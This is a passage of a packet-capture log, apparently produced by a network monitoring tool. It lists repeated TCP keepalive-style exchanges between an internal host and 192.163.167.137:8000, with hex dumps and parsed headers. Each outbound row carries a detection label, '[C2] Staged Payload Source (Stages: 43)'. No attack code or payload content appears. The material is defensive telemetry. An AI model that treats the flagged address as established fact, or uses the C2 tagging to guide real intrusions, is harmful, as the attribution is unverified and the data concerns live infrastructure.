\"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:50.848349,475,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5640004006e39dc0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4LV@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19542, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58269, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:51.863962,476,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b080400080063f7e0a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45184, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16254, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:51.863996,477,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5740004006e39cc0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4LW@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19543, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58268, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:52.879573,478,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b081400080063f7d0a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45185, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16253, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:52.879607,479,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5840004006e39bc0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4LX@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19544, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58267, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:53.895221,480,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b082400080063f7c0a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45186, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16252, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:53.895241,481,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5940004006e39ac0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4LY@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19545, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58266, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:54.895258,482,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b083400080063f7b0a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45187, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16251, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:54.895286,483,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5a40004006e399c0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4LZ@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19546, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58265, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:55.895274,484,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b084400080063f7a0a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45188, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16250, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:55.895315,485,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5b40004006e398c0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4L[@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19547, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58264, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:56.910919,486,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b085400080063f790a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45189, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16249, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:56.910954,487,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5c40004006e397c0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4L\\@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19548, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58263, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:57.926546,488,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b086400080063f780a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45190, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16248, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:57.926580,489,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5d40004006e396c0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4L]@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19549, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58262, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:58.942206,490,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b087400080063f770a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45191, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16247, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:58.942221,491,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5e40004006e395c0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4L^@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19550, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58261, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, 